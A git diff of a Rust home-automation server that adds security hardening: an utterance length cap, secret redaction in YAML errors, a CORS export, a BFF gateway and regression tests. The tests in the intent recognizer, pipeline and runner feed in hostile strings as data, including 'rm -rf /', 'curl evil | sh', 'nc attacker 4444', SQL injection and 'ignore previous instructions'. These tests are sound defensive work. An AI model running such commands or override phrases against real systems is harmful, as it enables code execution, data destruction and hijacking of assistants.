| Person-in-WiFi-3D, [CVPR 2024](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html) | peer-reviewed | MEASURED (91.7/108.1/125.3 mm); own dataset | RQ1 3D multi-person frontier |
|
||||
| ONNX Runtime quantization [docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html) | vendor docs | VENDOR | RQ3 PTQ/QAT mechanics |
|
||||
| NVIDIA TensorRT QAT [blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics](https://www.ultralytics.com/glossary/quantization-aware-training-qat) | vendor/blog | BLOG/VENDOR; general, not CSI-specific | RQ3 QAT>PTQ context |
|
||||
| Onboard Optimization survey, arXiv [2505.08793](https://arxiv.org/pdf/2505.08793) | preprint | PREPRINT | RQ3 on-device optimization landscape |
|
||||
| In-tree `benchmarks/wiflow-std/RESULTS.md`, `benchmarks/edge-latency/RESULTS.md`, ADR-150, ADR-152, ADR-015 | internal MEASURED | MEASURED-internal | grounding, all RQs |
|
||||
|
||||
**Unverified / flagged:** DT-Pose exact MM-Fi MPJPE table not extracted at primary-source precision (abstract-level only). GraphPose-Fi parameter count not reported in the paper. WiFlow-STD/PerceptAlign accuracy numbers are author-self-reported preprints. No CSI-pose-specific QAT benchmark exists in the public literature — the QAT recommendation rests on general (non-CSI) vendor/blog evidence.
|
||||
Generated
+11
@@ -3595,6 +3595,7 @@ dependencies = [
|
||||
"anyhow",
|
||||
"axum",
|
||||
"clap",
|
||||
"futures",
|
||||
"homecore",
|
||||
"homecore-api",
|
||||
"homecore-assist",
|
||||
@@ -3602,8 +3603,13 @@ dependencies = [
|
||||
"homecore-hap",
|
||||
"homecore-plugins",
|
||||
"homecore-recorder",
|
||||
"http-body-util",
|
||||
"reqwest 0.12.28",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"tokio",
|
||||
"tower 0.5.3",
|
||||
"tower-http",
|
||||
"tracing",
|
||||
"tracing-subscriber",
|
||||
]
|
||||
@@ -3767,6 +3773,7 @@ dependencies = [
|
||||
"tokio",
|
||||
"tokio-rustls 0.26.4",
|
||||
"tower-service",
|
||||
"webpki-roots 1.0.7",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -6870,6 +6877,8 @@ dependencies = [
|
||||
"native-tls",
|
||||
"percent-encoding",
|
||||
"pin-project-lite",
|
||||
"quinn",
|
||||
"rustls 0.23.37",
|
||||
"rustls-pki-types",
|
||||
"serde",
|
||||
"serde_json",
|
||||
@@ -6877,6 +6886,7 @@ dependencies = [
|
||||
"sync_wrapper 1.0.2",
|
||||
"tokio",
|
||||
"tokio-native-tls",
|
||||
"tokio-rustls 0.26.4",
|
||||
"tower 0.5.3",
|
||||
"tower-http",
|
||||
"tower-service",
|
||||
@@ -6884,6 +6894,7 @@ dependencies = [
|
||||
"wasm-bindgen",
|
||||
"wasm-bindgen-futures",
|
||||
"web-sys",
|
||||
"webpki-roots 1.0.7",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
|
||||
@@ -42,7 +42,11 @@ pub fn router(state: SharedState) -> Router {
|
||||
.with_state(state)
|
||||
}
|
||||
|
||||
fn build_cors_layer() -> CorsLayer {
|
||||
/// Build the audited CORS allowlist layer (HC-05). Exposed so the
|
||||
/// integration binary can apply the SAME allowlist to routes merged in
|
||||
/// outside `router()` (e.g. the ADR-131 BFF gateway), instead of leaving
|
||||
/// `/api/homecore/*` and `/api/cal/*` with no CORS coverage at all.
|
||||
pub fn build_cors_layer() -> CorsLayer {
|
||||
let raw = std::env::var("HOMECORE_CORS_ORIGINS").ok();
|
||||
let origins: Vec<HeaderValue> = match raw {
|
||||
Some(v) if !v.trim().is_empty() => v
|
||||
|
||||
@@ -7,7 +7,7 @@ pub mod state;
|
||||
pub mod tokens;
|
||||
pub mod ws;
|
||||
|
||||
pub use app::{router, AppState};
|
||||
pub use app::{build_cors_layer, router, AppState};
|
||||
pub use error::{ApiError, ApiResult};
|
||||
pub use state::SharedState;
|
||||
pub use tokens::LongLivedTokenStore;
|
||||
|
||||
@@ -149,6 +149,44 @@ mod tests {
|
||||
assert!(sim_unrel < 0.3, "unrelated similarity too high: {sim_unrel:.3}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn embeddings_are_structurally_finite() {
|
||||
// SECURITY (NaN-poisoning): the embedding path takes only `&str` and
|
||||
// produces values via FNV feature-hashing + a guarded L2 normalise.
|
||||
// There is NO external float input and NO unguarded division, so a
|
||||
// crafted utterance cannot inject NaN/±Inf into a vector and poison the
|
||||
// cosine k-NN match. Prove every component is finite across adversarial
|
||||
// inputs (empty, punctuation-only, unicode, very long, control chars).
|
||||
for s in [
|
||||
"",
|
||||
"!!! ???",
|
||||
"turn on the kitchen light",
|
||||
"🔥🔥🔥 \u{0}\u{1}\u{7f} mix",
|
||||
&"x".repeat(10_000),
|
||||
"NaN inf -inf 1e999",
|
||||
] {
|
||||
let v = embed(s);
|
||||
assert_eq!(v.len(), EMBEDDING_DIM);
|
||||
assert!(
|
||||
v.iter().all(|x| x.is_finite()),
|
||||
"embedding of {s:?} contained a non-finite component"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cosine_with_zero_vector_is_finite_not_nan() {
|
||||
// SECURITY (NaN-poisoning): an empty/punctuation-only utterance embeds
|
||||
// to the zero vector. Cosine against any exemplar must be a finite 0.0,
|
||||
// never NaN — so a below-threshold comparison stays well-defined and the
|
||||
// recognizer falls through (no action) rather than matching on garbage.
|
||||
let zero = embed("!!! ???");
|
||||
let real = embed("turn on the light");
|
||||
let sim = cosine_similarity(&zero, &real);
|
||||
assert!(sim.is_finite(), "cosine vs zero vector must be finite, got {sim}");
|
||||
assert_eq!(sim, 0.0, "dot product with the zero vector is exactly 0");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn identical_text_is_similarity_one() {
|
||||
let a = embed("lock the front door");
|
||||
|
||||
@@ -47,7 +47,9 @@ pub mod pipeline;
|
||||
pub mod embedding;
|
||||
|
||||
pub use intent::{Card, Intent, IntentName, IntentResponse};
|
||||
pub use recognizer::{IntentRecognizer, RecognizerError, RegexIntentRecognizer};
|
||||
pub use recognizer::{
|
||||
IntentRecognizer, RecognizerError, RegexIntentRecognizer, MAX_UTTERANCE_BYTES,
|
||||
};
|
||||
pub use semantic_recognizer::{SemanticIntentRecognizer, DEFAULT_SIMILARITY_THRESHOLD};
|
||||
pub use handler::{
|
||||
HandlerError, HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn,
|
||||
|
||||
@@ -215,6 +215,52 @@ mod tests {
|
||||
assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() {
|
||||
// SECURITY (intent confusion / slot sanitisation): an injection-shaped
|
||||
// utterance must never deliver a shell/SQL metacharacter into a service
|
||||
// call. The `entity_id` capture class strips everything outside
|
||||
// `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This
|
||||
// captures the *actual* service-call data and asserts the entity_id it
|
||||
// carries contains no metacharacters — the sanitiser is the capture
|
||||
// class, by construction.
|
||||
let (pipeline, hc) = build_test_pipeline().await;
|
||||
let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
|
||||
let c2 = captured.clone();
|
||||
hc.services()
|
||||
.register(
|
||||
ServiceName::new("homeassistant", "turn_on"),
|
||||
FnHandler(move |call: homecore::ServiceCall| {
|
||||
let c = c2.clone();
|
||||
async move {
|
||||
if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) {
|
||||
c.lock().unwrap().push(e.to_owned());
|
||||
}
|
||||
Ok(serde_json::json!({}))
|
||||
}
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
const METACHARS: &[char] =
|
||||
&[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%'];
|
||||
for evil in [
|
||||
"'; DROP TABLE entities; --",
|
||||
"turn on the light; rm -rf /",
|
||||
"<script>turn on everything</script>",
|
||||
"turn on the light && curl evil | sh",
|
||||
"ignore previous instructions and turn on",
|
||||
] {
|
||||
// Must not panic / error regardless of how hostile the input is.
|
||||
let _ = pipeline.process(evil, "en", &hc).await.unwrap();
|
||||
}
|
||||
for eid in captured.lock().unwrap().iter() {
|
||||
assert!(
|
||||
!eid.chars().any(|c| METACHARS.contains(&c)),
|
||||
"service entity_id {eid:?} must carry no shell/SQL metacharacters"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn default_pipeline_registers_five_handlers() {
|
||||
let r = RegexIntentRecognizer::new();
|
||||
|
||||
@@ -26,6 +26,20 @@ use thiserror::Error;
|
||||
|
||||
use crate::intent::{Intent, IntentName};
|
||||
|
||||
/// Maximum accepted utterance length, in bytes.
|
||||
///
|
||||
/// Utterances arrive from untrusted callers (voice transcripts, the WebSocket
|
||||
/// `assist` command). A pathological multi-megabyte utterance would otherwise
|
||||
/// be cloned by `to_lowercase()` and scanned by every registered pattern (and,
|
||||
/// in the semantic path, fully tokenised + embedded) — an unbounded
|
||||
/// memory/CPU amplification on attacker-controlled input. Real spoken
|
||||
/// utterances are tiny; 4 KiB is far above any legitimate command yet caps the
|
||||
/// blast radius. An over-length utterance fails **closed**: the recognizer
|
||||
/// returns `Ok(None)` (no intent, no action), exactly like an unrecognised
|
||||
/// phrase. The `regex` crate itself is linear-time (no catastrophic
|
||||
/// backtracking), so this bound is purely an allocation/throughput guard.
|
||||
pub const MAX_UTTERANCE_BYTES: usize = 4096;
|
||||
|
||||
#[derive(Error, Debug)]
|
||||
pub enum RecognizerError {
|
||||
#[error("regex compile error: {0}")]
|
||||
@@ -102,6 +116,12 @@ impl IntentRecognizer for RegexIntentRecognizer {
|
||||
utterance: &str,
|
||||
language: &str,
|
||||
) -> Result<Option<Intent>, RecognizerError> {
|
||||
// Fail-closed on an over-length utterance before any allocation/scan.
|
||||
// Untrusted input must not be able to force an unbounded `to_lowercase`
|
||||
// clone + per-pattern scan. Bound first, then normalise.
|
||||
if utterance.len() > MAX_UTTERANCE_BYTES {
|
||||
return Ok(None);
|
||||
}
|
||||
let normalised = utterance.trim().to_lowercase();
|
||||
let patterns = self.patterns.read().await;
|
||||
for pattern in patterns.iter() {
|
||||
@@ -183,6 +203,55 @@ mod tests {
|
||||
assert!(result.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn over_length_utterance_fails_closed() {
|
||||
// SECURITY (DoS / fail-closed): an utterance larger than the bound must
|
||||
// return Ok(None) WITHOUT being normalised or scanned. Crucially, even
|
||||
// an over-length utterance that *contains* a matching command must NOT
|
||||
// resolve — fail closed, never open.
|
||||
//
|
||||
// This FAILS against the pre-fix recognizer: there, a giant prefix
|
||||
// followed by "turn on the kitchen light" would still match HassTurnOn
|
||||
// (and force a multi-megabyte `to_lowercase` clone + scan first).
|
||||
let r = turn_on_recognizer().await;
|
||||
let huge = format!("{} turn on the kitchen light", "a ".repeat(MAX_UTTERANCE_BYTES));
|
||||
assert!(huge.len() > MAX_UTTERANCE_BYTES);
|
||||
|
||||
let result = r.recognize(&huge, "en").await.unwrap();
|
||||
assert!(
|
||||
result.is_none(),
|
||||
"over-length utterance must fail closed (no intent, no action)"
|
||||
);
|
||||
|
||||
// And a just-under-bound utterance still works, so the cap doesn't
|
||||
// break legitimate (tiny) commands.
|
||||
let ok = r
|
||||
.recognize("turn on the kitchen light", "en")
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(ok.is_some(), "normal-length command must still resolve");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pathological_backtracking_pattern_completes_in_bounded_time() {
|
||||
// SECURITY (ReDoS): the `regex` crate is a linear-time finite automaton,
|
||||
// so even a classic catastrophic-backtracking shape `(a+)+$` cannot hang
|
||||
// on a crafted adversarial input. This proves the recognizer terminates
|
||||
// promptly on the worst-case input the regex engine is asked to run.
|
||||
let r = RegexIntentRecognizer::new();
|
||||
r.register("Evil", r"(a+)+$", "*").await.unwrap();
|
||||
// Just under the length bound: all 'a' then a 'b' — the classic input
|
||||
// that destroys a backtracking engine. Linear-time regex shrugs.
|
||||
let evil = format!("{}b", "a".repeat(MAX_UTTERANCE_BYTES - 1));
|
||||
let start = std::time::Instant::now();
|
||||
let _ = r.recognize(&evil, "en").await.unwrap();
|
||||
let elapsed = start.elapsed();
|
||||
assert!(
|
||||
elapsed < std::time::Duration::from_secs(2),
|
||||
"linear-time regex must not hang on adversarial input; took {elapsed:?}"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn language_filter_skips_non_matching() {
|
||||
let r = RegexIntentRecognizer::new();
|
||||
|
||||
@@ -393,6 +393,63 @@ mod tests {
|
||||
assert!(matches!(err, AssistError::ParseError(_)));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn shell_metachars_never_survive_into_a_resolved_slot() {
|
||||
// SECURITY (command/argument injection): two layers of defense.
|
||||
// 1. There is NO subprocess — `spawn` is a lifecycle flag and
|
||||
// `RufloRunnerOpts` is inert, so no argv is ever built.
|
||||
// 2. Even so, the `entity_id` capture class is `[a-z_][a-z0-9_ .]*`,
|
||||
// which *excludes* every shell metacharacter. So when an
|
||||
// injection-shaped utterance DOES resolve (the regex is not exact-
|
||||
// anchored), the captured slot is a clean token with the hostile
|
||||
// tail stripped — never `;`, `|`, `$`, backtick, `&`, `/`, etc.
|
||||
// This pins the slot-sanitisation-by-construction property: a slot value
|
||||
// can never carry a metachar into a (future) argv.
|
||||
let mut runner = LocalRunner::new(turn_on_recognizer().await);
|
||||
runner.spawn(RufloRunnerOpts::default()).await.unwrap();
|
||||
const METACHARS: &[char] = &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\''];
|
||||
for evil in [
|
||||
"turn on the light; rm -rf /",
|
||||
"turn on the light && shutdown -h now",
|
||||
"turn on the light | nc attacker 4444",
|
||||
"turn on the light `curl evil.sh | sh`",
|
||||
"turn on the light $(reboot)",
|
||||
] {
|
||||
let resp = runner
|
||||
.send_request(serde_json::json!({"utterance": evil, "language": "en"}))
|
||||
.await
|
||||
.unwrap();
|
||||
if let Some(intent) = resp.intent {
|
||||
if let Some(eid) = intent.entity_id() {
|
||||
assert!(
|
||||
!eid.chars().any(|c| METACHARS.contains(&c)),
|
||||
"resolved entity_id {eid:?} from {evil:?} must contain no shell metachars"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn runner_opts_are_inert_no_process_spawned() {
|
||||
// SECURITY (command injection): even a hostile `script_path` / `env` in
|
||||
// RufloRunnerOpts is never consumed — `spawn` launches no process. This
|
||||
// documents-and-pins that the data-gated P2 subprocess is genuinely
|
||||
// absent (confirmed Noop/Local, no spawn surface today).
|
||||
let mut env = std::collections::HashMap::new();
|
||||
env.insert("EVIL".to_owned(), "$(rm -rf /)".to_owned());
|
||||
let opts = RufloRunnerOpts {
|
||||
script_path: "/bin/sh -c 'curl evil | sh'".to_owned(),
|
||||
env,
|
||||
timeout_ms: 1,
|
||||
};
|
||||
let mut runner = NoopRunner::new();
|
||||
// No panic, no spawn, no error — the opts are pure data.
|
||||
assert!(runner.spawn(opts.clone()).await.is_ok());
|
||||
let mut local = LocalRunner::new(turn_on_recognizer().await);
|
||||
assert!(local.spawn(opts).await.is_ok());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn local_runner_send_before_spawn_is_not_started() {
|
||||
let runner = LocalRunner::new(turn_on_recognizer().await);
|
||||
|
||||
@@ -135,6 +135,12 @@ impl SemanticIntentRecognizer {
|
||||
utterance: &str,
|
||||
language: &str,
|
||||
) -> Result<(Option<Intent>, Option<f32>), RecognizerError> {
|
||||
// Fail-closed on an over-length utterance before embedding/scanning.
|
||||
// Untrusted input must not force an unbounded `to_lowercase` clone +
|
||||
// full tokenisation/embedding. Mirrors the regex recognizer's bound.
|
||||
if utterance.len() > crate::recognizer::MAX_UTTERANCE_BYTES {
|
||||
return Ok((None, None));
|
||||
}
|
||||
if let Some((id, similarity)) = self.nearest(utterance, language).await {
|
||||
if similarity >= self.threshold {
|
||||
let inner = self.index.read().await;
|
||||
@@ -228,6 +234,32 @@ mod tests {
|
||||
r
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn empty_utterance_against_empty_index_no_panic_no_match() {
|
||||
// SECURITY (NaN/empty-poisoning): an empty (zero-vector) query against an
|
||||
// empty index must not panic and must yield no intent — the recognizer
|
||||
// falls through to the (also empty) regex fallback. Proves the empty-
|
||||
// iterator `max_by` path returns None cleanly.
|
||||
let semantic = SemanticIntentRecognizer::new(RegexIntentRecognizer::new());
|
||||
let result = semantic.recognize("", "en").await.unwrap();
|
||||
assert!(result.is_none(), "empty utterance must produce no intent / no action");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn over_length_utterance_fails_closed_semantic() {
|
||||
// SECURITY (DoS / fail-closed): an over-length utterance must short-
|
||||
// circuit before embedding/scanning, returning no intent — even if it
|
||||
// textually contains an enrolled/fallback-matchable command.
|
||||
let semantic = SemanticIntentRecognizer::new(turn_on_recognizer().await);
|
||||
let huge = format!(
|
||||
"{} turn on the kitchen light",
|
||||
"a ".repeat(crate::recognizer::MAX_UTTERANCE_BYTES)
|
||||
);
|
||||
assert!(huge.len() > crate::recognizer::MAX_UTTERANCE_BYTES);
|
||||
let result = semantic.recognize(&huge, "en").await.unwrap();
|
||||
assert!(result.is_none(), "over-length utterance must fail closed in semantic path");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn semantic_recognizer_delegates_to_fallback() {
|
||||
// No exemplars enrolled → empty HNSW index → pure regex fallback.
|
||||
|
||||
@@ -55,6 +55,25 @@ pub enum MigrateError {
|
||||
source: serde_yaml::Error,
|
||||
},
|
||||
|
||||
/// Parse failure in a SECRET-bearing file (`secrets.yaml`).
|
||||
///
|
||||
/// Unlike [`MigrateError::YamlParse`], this variant deliberately does NOT
|
||||
/// embed the underlying `serde_yaml::Error` message — that message can quote
|
||||
/// the offending scalar verbatim (e.g. a typed-tag coercion error renders
|
||||
/// `invalid value: string "<the-secret-value>"`), which would leak a secret
|
||||
/// into stderr/logs. We carry only the file path plus a coarse line/column
|
||||
/// so the user can locate the problem without the value being printed.
|
||||
/// (ADR-165 secret-handling rule: a secret value must never appear in output.)
|
||||
#[error(
|
||||
"secrets.yaml parse error in {path} (line {line}, column {column}): \
|
||||
malformed YAML (value content redacted)"
|
||||
)]
|
||||
SecretsParse {
|
||||
path: String,
|
||||
line: usize,
|
||||
column: usize,
|
||||
},
|
||||
|
||||
/// Fired when the outer `{version, minor_version}` envelope version is
|
||||
/// known but the `minor_version` is not supported by any compiled parser.
|
||||
/// Per ADR-165 §6 Q5: hard error on unknown minor_version.
|
||||
|
||||
@@ -33,11 +33,19 @@ pub fn read_secrets(path: &Path) -> Result<HashMap<String, String>, MigrateError
|
||||
return Ok(HashMap::new());
|
||||
}
|
||||
|
||||
let parsed: serde_yaml::Value =
|
||||
serde_yaml::from_str(&raw).map_err(|e| MigrateError::YamlParse {
|
||||
// SECURITY: do NOT use `MigrateError::YamlParse` here. serde_yaml error
|
||||
// messages can quote the offending scalar verbatim (a typed-tag coercion
|
||||
// error renders `invalid value: string "<the-secret-value>"`), and that
|
||||
// message would be printed to stderr by the CLI — leaking a secret value.
|
||||
// `MigrateError::SecretsParse` carries only the path + line/column.
|
||||
let parsed: serde_yaml::Value = serde_yaml::from_str(&raw).map_err(|e| {
|
||||
let loc = e.location();
|
||||
MigrateError::SecretsParse {
|
||||
path: path.display().to_string(),
|
||||
source: e,
|
||||
})?;
|
||||
line: loc.as_ref().map_or(0, |l| l.line()),
|
||||
column: loc.as_ref().map_or(0, |l| l.column()),
|
||||
}
|
||||
})?;
|
||||
|
||||
let map = match parsed {
|
||||
serde_yaml::Value::Mapping(m) => m,
|
||||
@@ -94,6 +102,59 @@ mod tests {
|
||||
assert!(secrets.is_empty());
|
||||
}
|
||||
|
||||
/// SECURITY regression (fails on the pre-fix `YamlParse` path): a malformed
|
||||
/// `secrets.yaml` whose offending scalar is a secret value must NOT have that
|
||||
/// value rendered in the returned error. serde_yaml's own error message for a
|
||||
/// typed-tag coercion failure embeds the scalar verbatim
|
||||
/// (`invalid value: string "<secret>"`); the old code wrapped that message
|
||||
/// into `MigrateError::YamlParse { source }`, so `Display` leaked the secret.
|
||||
#[test]
|
||||
fn malformed_secrets_error_never_contains_secret_value() {
|
||||
// `!!int` forces integer coercion of a string scalar; serde_yaml reports
|
||||
// the scalar text in its message. The scalar here is a stand-in secret.
|
||||
let yaml = "api_port: !!int s3cr3t_TOKEN_VALUE\n";
|
||||
let mut f = NamedTempFile::new().unwrap();
|
||||
f.write_all(yaml.as_bytes()).unwrap();
|
||||
|
||||
let err = read_secrets(f.path()).unwrap_err();
|
||||
let rendered = err.to_string();
|
||||
|
||||
// The secret VALUE must never appear in the error output...
|
||||
assert!(
|
||||
!rendered.contains("s3cr3t_TOKEN_VALUE"),
|
||||
"secret value leaked into error: {rendered}"
|
||||
);
|
||||
// ...and the full chain (with #[source]) must also be clean, since the
|
||||
// CLI/anyhow prints the source chain too.
|
||||
let mut source = std::error::Error::source(&err);
|
||||
while let Some(s) = source {
|
||||
assert!(
|
||||
!s.to_string().contains("s3cr3t_TOKEN_VALUE"),
|
||||
"secret value leaked into error source chain: {s}"
|
||||
);
|
||||
source = s.source();
|
||||
}
|
||||
|
||||
// It should still be a structured, locatable error (fail-closed).
|
||||
assert!(
|
||||
matches!(err, MigrateError::SecretsParse { .. }),
|
||||
"expected SecretsParse, got: {err:?}"
|
||||
);
|
||||
}
|
||||
|
||||
/// A secret KEY name is non-sensitive context and is fine to surface, but the
|
||||
/// redacting error must still help the user locate the problem (line/column).
|
||||
#[test]
|
||||
fn malformed_secrets_error_reports_location() {
|
||||
let yaml = "api_port: !!int notanumber\n";
|
||||
let mut f = NamedTempFile::new().unwrap();
|
||||
f.write_all(yaml.as_bytes()).unwrap();
|
||||
let err = read_secrets(f.path()).unwrap_err();
|
||||
let rendered = err.to_string();
|
||||
assert!(rendered.contains("line"), "should report a line: {rendered}");
|
||||
assert!(rendered.contains("redacted"), "should signal redaction: {rendered}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn secret_count_is_correct() {
|
||||
let yaml = "a: 1\nb: 2\nc: 3\n";
|
||||
|
||||
@@ -37,6 +37,26 @@ clap = { version = "4", features = ["derive", "env"] }
|
||||
anyhow = "1"
|
||||
serde_json = "1"
|
||||
axum = { version = "0.7", features = ["macros"] }
|
||||
# Static-file serving for the HOMECORE-UI dashboard (ADR-131) mounted at
|
||||
# /homecore, request tracing, and the CORS allowlist applied to BOTH the
|
||||
# homecore-api routes AND the merged BFF gateway routes (ADR-131 §11).
|
||||
tower-http = { version = "0.6", features = ["fs", "trace", "cors"] }
|
||||
# BFF gateway (ADR-131 §11): reverse-proxy the calibration API + aggregate
|
||||
# upstreams. rustls is requested here, but NOTE this is a WORKSPACE-WIDE
|
||||
# concern: cargo feature-unification means a sibling crate that enables
|
||||
# reqwest's default `native-tls` re-introduces OpenSSL into the final binary
|
||||
# regardless of this opt-out. A real "no OpenSSL on the appliance" guarantee
|
||||
# requires every crate that pulls reqwest to align on rustls-only (tracked in
|
||||
# CHANGELOG / ADR-131 security note).
|
||||
reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls"] }
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
# Concurrent fan-out of per-bank RoomState fetches in the gateway (§11 perf).
|
||||
futures = "0.3"
|
||||
|
||||
[dev-dependencies]
|
||||
# Drive the assembled router in integration tests via ServiceExt::oneshot.
|
||||
tower = { version = "0.5", features = ["util"] }
|
||||
http-body-util = "0.1"
|
||||
|
||||
[features]
|
||||
default = []
|
||||
|
||||
@@ -116,6 +116,29 @@ export RUST_LOG="homecore=debug,homecore_api=info"
|
||||
| `--db` | `HOMECORE_DB` | `sqlite::memory:` | SQLite path (`:memory:` for ephemeral) |
|
||||
| `--location-name` | `HOMECORE_LOCATION` | `Home` | Friendly name returned by `/api/config` |
|
||||
| `--no-recorder` | — | off | Disable SQLite recorder (low-resource deployments) |
|
||||
| `--ui-dir` | `HOMECORE_UI_DIR` | `<crate>/ui` | HOMECORE-UI asset dir served at `/homecore` (ADR-131); empty disables the mount |
|
||||
|
||||
## HOMECORE-UI dashboard (ADR-131)
|
||||
|
||||
This binary also serves the **HOMECORE-UI** — the complete operational dashboard
|
||||
for the two-tier Cognitum stack (v0 Appliance → SEEDs → ESP32 nodes) — at
|
||||
`/homecore`, alongside the HA-compat `/api` surface. It is a zero-dependency,
|
||||
no-build-step vanilla TS/JS + CSS frontend living in `ui/`:
|
||||
|
||||
```bash
|
||||
cargo run -p homecore-server # then open http://localhost:8123/homecore/
|
||||
```
|
||||
|
||||
It drives the live `/api` + `/api/websocket` (`subscribe_events`) endpoints; panels
|
||||
backed by services not in this binary (SEED HTTPS API, calibration ADR-151,
|
||||
federation ADR-105) render against a DEMO-flagged contract-conformant mock until
|
||||
those endpoints land (ADR-131 §7.1). Frontend tests + benchmark run under plain
|
||||
`node` (no `npm install`):
|
||||
|
||||
```bash
|
||||
cd ui && npm test # import graph + render-smoke + interaction (24 checks)
|
||||
cd ui && npm run bench # bundle budget (~137 KB, ~37× smaller than HA) + render timing
|
||||
```
|
||||
|
||||
## Comparison to Home Assistant
|
||||
|
||||
|
||||
@@ -0,0 +1,758 @@
|
||||
//! HOMECORE-UI backend-for-frontend (BFF) gateway — ADR-131 §11.
|
||||
//!
|
||||
//! `homecore-server` is the single origin the dashboard talks to (§2.1).
|
||||
//! This module adds the `/api/homecore/*` aggregation namespace and the
|
||||
//! `/api/cal/*` reverse-proxy to the calibration service, so the browser
|
||||
//! never makes a cross-origin call and never holds an upstream credential.
|
||||
//!
|
||||
//! Implemented now (self-contained, no new external service):
|
||||
//! * `/api/cal/*` — reverse-proxy → calibration API (ADR-151) [W2]
|
||||
//! * `GET /api/homecore/rooms` — per-room RoomState, adapted to the UI shape [W2]
|
||||
//! * `GET /api/homecore/cogs` — COG supervisor over the apps dir [W4]
|
||||
//! * `GET /api/homecore/appliance` — host metrics from /proc + port probes [W6]
|
||||
//!
|
||||
//! Returns a typed `503 upstream_unavailable` for routes whose upstream is
|
||||
//! a SEED device / appliance daemon not present in this repo (§11.2 / §12):
|
||||
//! seeds, federation, witness, privacy, settings, automations, events
|
||||
//! history, hailo, tokens. The front-end renders these as error states
|
||||
//! (it never falls back to mock in production — §2.2).
|
||||
//!
|
||||
//! NOTE: written against the real crate APIs but NOT yet compiled in the
|
||||
//! authoring environment (no Rust toolchain); run `cargo test -p
|
||||
//! homecore-server` on a Rust host.
|
||||
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use axum::body::Bytes;
|
||||
use axum::extract::{Path, RawQuery, State};
|
||||
use axum::http::{header, HeaderMap, HeaderValue, StatusCode};
|
||||
use axum::response::{IntoResponse, Response};
|
||||
use axum::routing::get;
|
||||
use axum::{Json, Router};
|
||||
use serde_json::{json, Value};
|
||||
|
||||
use homecore_api::auth::BearerAuth;
|
||||
use homecore_api::SharedState;
|
||||
|
||||
/// Static gateway configuration (from CLI/env in `main`).
|
||||
pub struct GatewayConfig {
|
||||
/// Base URL of the calibration service (`wifi-densepose calibrate-serve`),
|
||||
/// e.g. `http://127.0.0.1:8090`. `None` disables the calibration routes.
|
||||
pub calibration_url: Option<String>,
|
||||
/// Bearer token for the calibration service (held server-side only).
|
||||
pub calibration_token: Option<String>,
|
||||
/// COG install directory the supervisor reads (`/var/lib/cognitum/apps`).
|
||||
pub apps_dir: PathBuf,
|
||||
/// Per-proxy timeout so one slow upstream cannot stall the dashboard.
|
||||
pub timeout: Duration,
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct GatewayState {
|
||||
pub shared: SharedState,
|
||||
pub http: reqwest::Client,
|
||||
pub cfg: Arc<GatewayConfig>,
|
||||
}
|
||||
|
||||
impl GatewayState {
|
||||
pub fn new(shared: SharedState, cfg: GatewayConfig) -> Self {
|
||||
let http = reqwest::Client::builder()
|
||||
.timeout(cfg.timeout)
|
||||
.build()
|
||||
.unwrap_or_else(|_| reqwest::Client::new());
|
||||
Self { shared, http, cfg: Arc::new(cfg) }
|
||||
}
|
||||
}
|
||||
|
||||
/// Build the gateway router (state already applied → `Router<()>`), ready
|
||||
/// to `.merge()` into the main app alongside the homecore-api routes.
|
||||
pub fn gateway_router(state: GatewayState) -> Router {
|
||||
Router::new()
|
||||
// ── calibration reverse-proxy (W2) ──────────────────────────
|
||||
.route("/api/cal/*path", get(cal_proxy_get).post(cal_proxy_post))
|
||||
// ── aggregation endpoints (W2 / W4 / W6) ────────────────────
|
||||
.route("/api/homecore/rooms", get(rooms))
|
||||
.route("/api/homecore/cogs", get(cogs_list))
|
||||
.route("/api/homecore/appliance", get(appliance))
|
||||
// ── upstream-dependent stubs (W3 / W5 / W6): typed 503 ───────
|
||||
.route("/api/homecore/seeds", get(stub_503))
|
||||
.route("/api/homecore/seeds/:id", get(stub_503))
|
||||
.route("/api/homecore/federation", get(stub_503))
|
||||
.route("/api/homecore/witness", get(stub_503))
|
||||
.route("/api/homecore/privacy", get(stub_503).post(stub_503))
|
||||
.route("/api/homecore/settings", get(stub_503))
|
||||
